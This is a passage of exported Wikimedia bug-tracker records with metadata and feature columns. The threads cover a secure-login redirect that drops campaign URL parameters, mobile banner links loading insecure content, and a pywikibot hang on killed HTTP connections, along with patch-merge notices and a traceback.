https://gerrit.wikimedia.org/r/90639",,,1382126966,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nhm2ipniixhjagqyuoq7,task_subcomment,,True,c2,3,False,,,7,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,53.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,13.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.4,0.9333333333333333,"Change 90639 merged by Adamw:
Serve Mobile URLs to Mobile Users

GERRIT_URL"
258806,Special:BannerRandom attempts to load insecure content for mobile domains on HTTPS,"Change 90639 had a related patch set uploaded by Mwalker:
Serve Mobile URLs to Mobile Users

https://gerrit.wikimedia.org/r/90639",,,1382126221,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nhm2ipniixhjagqyuoq7,task_subcomment,,True,c2,3,False,,,7,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,40.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.45,0.95,"Change 90639 had a related patch set uploaded by Mwalker:
Serve Mobile URLs to Mobile Users

GERRIT_URL"
57761,wgSecureLogin redirect to https drops campaign and other URL parameters,"Now that $wgSecureLogin defaults to true for most WMF wikis, Special:UserLogin/signup redirects account creation to https. When it does so it drops all URL parameters to signup apart from returnto and returntoquery.

As a result, we're losing campaign information, and other control over login such as &showGettingStarted=false.

To reproduce:
Browse enwiki over http, visit a random page, click Edit, if the yellowish ""You are not logged in...."" anoneditwarning bar appears, then note the http: link for "" or create an account"" contains &campaign=anoneditwarning""

But when you click it, you are redirected to
https://en.wikipedia.org/w/index.php?title=Special:UserLogin/signup&returnto=Ectoedemia_sabina&returntoquery=&fromhttp=1

with no campaign parameter.

One fix is to test for campaign and add it back to the $query, in the execute() function in includes/specials/SpecialUserlogin.php. Or, include all query string parameters in the redirect URL.

--------------------------
**Version**: 1.22.0
**Severity**: normal",High,80.0,1381873020,1381959845.0,PHID-USER-gbl4hfak3cfurt3c7skd,False,,False,PHID-TASK-2quv7lfgsv57c5rbpniz,task_description,resolved,True,c2,3,False,False,True,6,True,1.0,0.0,0.0,1.0,0.5,4.0,0.5,0.0,0.0,0.5,3.0,0.5,0.0,0.0,0.0,0.5,1.0,4.0,11.5,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,6.0,0.5,2.0,0.5,1.5,0.5,0.0,1.0,0.0,0.5,0.0,0.5,2.5,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.5,0.5,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.5,0.0,0.5,0.0,0.0,0.0,4.0,1.5,9.5,2.0,4.0,5.5,0.0,0.0,0.0,0.0,4.5,0.0,1.0,0.0,4.0,11.5,3.5,0.0,2.5,0.0,4.0,0.0,1.0,1.5,0.0,1.5,0.0,0.5,0.0,4.046391752577319,0.7268041237113402,"Now that $wgSecureLogin defaults to true for most WMF wikis, Special:UserLogin/signup redirects account creation to https. When it does so it drops all URL parameters to signup apart from returnto and returntoquery.

As a result, we're losing campaign information, and other control over login such as &showGettingStarted=false.

To reproduce:
Browse enwiki over http, visit a random page, click Edit, if the yellowish ""You are not logged in...."" anoneditwarning bar appears, then note the http: link for "" or create an account"" contains &campaign=anoneditwarning""

But when you click it, you are redirected to
URL

with no campaign parameter.

One fix is to test for campaign and add it back to the $query, in the execute() function in includes/specials/SpecialUserlogin.php. Or, include all query string parameters in the redirect URL.

--------------------------
**Version**: 1.22.0
**Severity**: normal"
277922,wgSecureLogin redirect to https drops campaign and other URL parameters,"**swalling** wrote:

https://gerrit.wikimedia.org/r/#/c/90125/ reviewed and merged",,,1381959845,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-2quv7lfgsv57c5rbpniz,task_subcomment,,True,c2,3,False,,,7,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,0.75,"**swalling** wrote:

URL reviewed and merged"
277916,wgSecureLogin redirect to https drops campaign and other URL parameters,"Change 90125 merged by jenkins-bot:
Include miscellaneous query parameters in $wgSecureLogin redirect

https://gerrit.wikimedia.org/r/90125",,,1381943295,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2quv7lfgsv57c5rbpniz,task_subcomment,,True,c2,3,False,,,7,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,5.0,11.0,11.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.421052631578948,1.0,"Change 90125 merged by jenkins-bot:
Include miscellaneous query parameters in $wgSecureLogin redirect

GERRIT_URL"
277909,wgSecureLogin redirect to https drops campaign and other URL parameters,"Change 90125 had a related patch set uploaded by Anomie:
Include miscellaneous query parameters in $wgSecureLogin redirect

https://gerrit.wikimedia.org/r/90125",,,1381934043,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2quv7lfgsv57c5rbpniz,task_subcomment,,True,c2,3,False,,,7,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,5.0,9.0,9.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.409090909090909,1.0,"Change 90125 had a related patch set uploaded by Anomie:
Include miscellaneous query parameters in $wgSecureLogin redirect

GERRIT_URL"
277903,wgSecureLogin redirect to https drops campaign and other URL parameters,"**swalling** wrote:

Setting to high priority since this means ongoing data collection is being interrupted. Visible at: http://ee-dashboard.wmflabs.org/graphs/enwiki_campaigns",,,1381887312,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-2quv7lfgsv57c5rbpniz,task_subcomment,,True,c2,3,False,,,7,True,0.0,0.0,0.0,8.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,12.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.153846153846154,0.8461538461538461,"**swalling** wrote:

Setting to high priority since this means ongoing data collection is being interrupted. Visible at: URL"
277895,wgSecureLogin redirect to https drops campaign and other URL parameters,"(In reply to comment #1)
> But is there any reason not to preserve the entire query string (then add
> fromhttp=1)?

Not that I can see for the purposes of the redirect. In load(), SpecialUserlogin.php adjusts mReturnTo and mReturnToQuery and on $wgSecureLogin redirect builds a new query string out of them; but my hunch is there's no harm redirecting to https with the entire original query string, and doing all query param processing in https processing.",,,1381885637,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-2quv7lfgsv57c5rbpniz,task_subcomment,,True,c2,3,False,,,7,True,1.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,3.0,4.0,1.0,16.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,5.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,9.0,1.0,5.0,8.0,0.0,0.0,0.0,1.0,3.0,0.0,1.0,0.0,5.0,16.0,1.0,0.0,0.0,0.0,5.0,0.0,0.0,1.0,1.0,3.0,0.0,0.0,1.0,4.1688311688311686,0.7532467532467533,"(In reply to comment #1)
QUOTE
QUOTE

Not that I can see for the purposes of the redirect. In load(), SpecialUserlogin.php adjusts mReturnTo and mReturnToQuery and on $wgSecureLogin redirect builds a new query string out of them; but my hunch is there's no harm redirecting to https with the entire original query string, and doing all query param processing in https processing."
277887,wgSecureLogin redirect to https drops campaign and other URL parameters,"Chris, it's not meant to be a parameter on the page they come back to (e.g. we don't want to send them to https://en.wikipedia.org/wiki/Ectoedemia_sabina?campaign=foo.  It's meant to be a parameter on the create page itself, since it's checked in the UserCreateForm hook.  I.E.

https://en.wikipedia.org/w/index.php?title=Special:UserLogin/signup&returnto=Ectoedemia_sabina&returntoquery=&campaign=foo&fromhttp=1",,,1381877222,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-2quv7lfgsv57c5rbpniz,task_subcomment,,True,c2,3,False,,,6,True,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,7.0,16.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,11.0,2.0,0.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,13.0,16.0,5.0,0.0,0.0,0.0,13.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,3.309090909090909,0.6727272727272727,"Chris, it's not meant to be a parameter on the page they come back to (e.g. we don't want to send them to URL  It's meant to be a parameter on the create page itself, since it's checked in the UserCreateForm hook.  I.E.

URL"
277879,wgSecureLogin redirect to https drops campaign and other URL parameters,"spage, whatever is inserting that link isn't accounting for the campaign parameter correctly. The signup form is correct redirecting back to the passed in returnto and returntoquery, which that link is incorrectly generating. For example, if you manually add ""&campaign=asdf"" to your url, and then click the normal nav bar's ""Create account"", the returntoquery is correctly set.",,,1381876826,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-2quv7lfgsv57c5rbpniz,task_subcomment,,True,c2,3,True,,,6,True,0.0,0.0,0.0,1.0,1.0,4.0,1.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,4.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,1.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,23.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,4.0,3.0,4.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,9.0,0.0,0.0,5.0,0.0,3.0,0.0,3.0,0.0,0.0,5.0,0.0,0.0,0.0,4.351351351351352,0.6891891891891891,"spage, whatever is inserting that link isn't accounting for the campaign parameter correctly. The signup form is correct redirecting back to the passed in returnto and returntoquery, which that link is incorrectly generating. For example, if you manually add ""&campaign=asdf"" to your url, and then click the normal nav bar's ""Create account"", the returntoquery is correctly set."
277872,wgSecureLogin redirect to https drops campaign and other URL parameters,"campaign is not part of core, so if you need to add it here, it should be through a hook.

But is there any reason not to preserve the entire query string (then add fromhttp=1)?",,,1381876021,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-2quv7lfgsv57c5rbpniz,task_subcomment,,True,c2,3,False,,,6,True,2.0,0.0,0.0,0.0,5.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,10.0,12.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,5.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,7.0,2.0,2.0,5.0,7.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,7.0,12.0,2.0,2.0,0.0,0.0,7.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.4285714285714284,0.8571428571428571,"campaign is not part of core, so if you need to add it here, it should be through a hook.

But is there any reason not to preserve the entire query string (then add fromhttp=1)?"
57127,core hangs on killed http(s) connection,"Originally from: http://sourceforge.net/p/pywikipediabot/bugs/1657/
Reported by: valhallasw
Created on: 2013-08-22 15:14:10.237000
Subject: core hangs on killed http(s) connection
Original description:
Steps to reproduce:

>>> p = pywikibot.Page(pywikibot.getSite('nl', 'wikipedia'), 'Wikipedia')
>>> p.get()

# now kill the connection, e.g. using tcpview in windows

>>> p = pywikibot.Page(pywikibot.getSite('nl', 'wikipedia'), 'Wikipedia')
>>> p.get()

# hangs



Expected result:
pywikibot reconnects and executes the .get()

Actual result:
complete hang (deadlock?)

--------------------------
**Version**: core-(2.0)
**Severity**: major
**See Also**:
https://sourceforge.net/p/pywikipediabot/bugs/1657",High,80.0,1380947340,1391369639.0,PHID-USER-v7vgzvvcw7v2umf737ri,False,,False,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_description,resolved,True,c2,3,False,False,False,5,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,3.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,1.0,3.5,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,12.0,0.0,1.0,1.5,0.0,0.0,0.0,1.5,1.5,0.0,2.0,0.0,0.0,3.0,2.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,3.736842105263158,0.6140350877192983,"Originally from: URL
Reported by: valhallasw
Created on: 2013-08-22 15:14:10.237000
Subject: core hangs on killed http(s) connection
Original description:
Steps to reproduce:

QUOTE
QUOTE

# now kill the connection, e.g. using tcpview in windows

QUOTE
QUOTE

# hangs



Expected result:
pywikibot reconnects and executes the .get()

Actual result:
complete hang (deadlock?)

--------------------------
**Version**: core-(2.0)
**Severity**: major
**See Also**:
URL"
264330,core hangs on killed http(s) connection,"Change 108325 abandoned by Xqt:
[BUGFIX] fixing bug 55127

Reason:
https://gerrit.wikimedia.org/r/110853
https://gerrit.wikimedia.org/r/110866 
https://gerrit.wikimedia.org/r/110867

https://gerrit.wikimedia.org/r/108325",,,1391367609,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c2,3,False,,,22,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.333333333333333,0.6666666666666666,"Change 108325 abandoned by Xqt:
[BUGFIX] fixing bug 55127

Reason:
GERRIT_URL
GERRIT_URL 
GERRIT_URL

GERRIT_URL"
264326,core hangs on killed http(s) connection,"Change 110867 merged by jenkins-bot:
(bug 55127) Allow user to abort during http request

https://gerrit.wikimedia.org/r/110867",,,1391367518,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c2,3,False,,,22,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,14.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,"Change 110867 merged by jenkins-bot:
(bug 55127) Allow user to abort during http request

GERRIT_URL"
264323,core hangs on killed http(s) connection,"Change 110866 merged by jenkins-bot:
(bug 55127) Allow user to cut off pending network requests at shutdown

https://gerrit.wikimedia.org/r/110866",,,1391367516,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c2,3,False,,,22,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,16.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.16,1.0,"Change 110866 merged by jenkins-bot:
(bug 55127) Allow user to cut off pending network requests at shutdown

GERRIT_URL"
264317,core hangs on killed http(s) connection,"Change 110853 merged by jenkins-bot:
(bug 55127) Implement network timeouts

https://gerrit.wikimedia.org/r/110853",,,1391367513,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c2,3,False,,,22,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.388888888888889,1.0,"Change 110853 merged by jenkins-bot:
(bug 55127) Implement network timeouts

GERRIT_URL"
264313,core hangs on killed http(s) connection,"And with the latest two patches, this should also be fixed.",,,1391363592,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c2,3,False,,,22,True,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,3.769230769230769,1.0,"And with the latest two patches, this should also be fixed."
264308,core hangs on killed http(s) connection,"Change 110867 had a related patch set uploaded by Merlijn van Deen:
(bug 55127) Allow user to abort during http request

https://gerrit.wikimedia.org/r/110867",,,1391363567,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c2,3,False,,,22,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,11.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.148148148148148,1.0,"Change 110867 had a related patch set uploaded by Merlijn van Deen:
(bug 55127) Allow user to abort during http request

GERRIT_URL"
264303,core hangs on killed http(s) connection,"Change 110866 had a related patch set uploaded by Merlijn van Deen:
(bug 55127) Allow user to cut off pending network requests at shutdown

https://gerrit.wikimedia.org/r/110866",,,1391363536,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c2,3,False,,,22,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,4.266666666666667,1.0,"Change 110866 had a related patch set uploaded by Merlijn van Deen:
(bug 55127) Allow user to cut off pending network requests at shutdown

GERRIT_URL"
264298,core hangs on killed http(s) connection,"This solves the basic issue, but does not fix the other two issues (the main thread will not respond to ctrl-c until the timeout is reached; also the thread will not be stopped until the timeout is raised)",,,1391349874,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c2,3,False,,,22,True,0.0,0.0,0.0,7.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,2.0,0.0,2.0,16.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8181818181818183,0.7272727272727273,"This solves the basic issue, but does not fix the other two issues (the main thread will not respond to ctrl-c until the timeout is reached; also the thread will not be stopped until the timeout is raised)"
264292,core hangs on killed http(s) connection,"Change 110853 had a related patch set uploaded by Merlijn van Deen:
(bug 55127) Implement network timeouts

https://gerrit.wikimedia.org/r/110853",,,1391349757,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6j52xvq4fvwgokvuqlbu,task_subcomment,,True,c2,3,False,,,22,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,9.0,0.0,0.0,4.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.478260869565218,1.0,"Change 110853 had a related patch set uploaded by Merlijn van Deen:
(bug 55127) Implement network timeouts

GERRIT_URL"
264287,core hangs on killed http(s) connection,"I tried this on _windows_ but I didn't got it hanging:

Traceback (most recent call last):
  File ""<pyshell#4>"", line 1, in <module>
    resp, content = h.request(""https://en.wikipedia.org/"", ""GET"")
  File ""C:\Pywikipedia\ssh\pywikibot\core\externals\httplib2\python2\httplib2\__init__.py"", line 1591, in request
    (response, content) = self._request(conn, authority, uri, request_uri, method, body, headers, redirections, cachekey)
  File ""C:\Pywikipedia\ssh\pywikibot\core\externals\httplib2\python2\httplib2\__init__.py"", line 1333, in _request
    (response, content) = self._conn_request(conn, request_uri, method, body, headers)
  File ""C:\Pywikipedia\ssh\pywikibot\core\externals\httplib2\python2\httplib2\__init__.py"", line 1289, in _conn_request
    response = conn.getresponse()
  File ""C:\Python27\lib\httplib.py"", line 1030, in getresponse
    response.begin()
  File ""C:\Python27\lib\httplib.py"", line 407, in begin
    version, status, reason = self._read_status()
  File ""C:\Python27\lib\httplib.py"", line 365, in _read_status
    line = self.fp.readline()
  File ""C:\Python27\lib\socket.py"", line 430, in readline
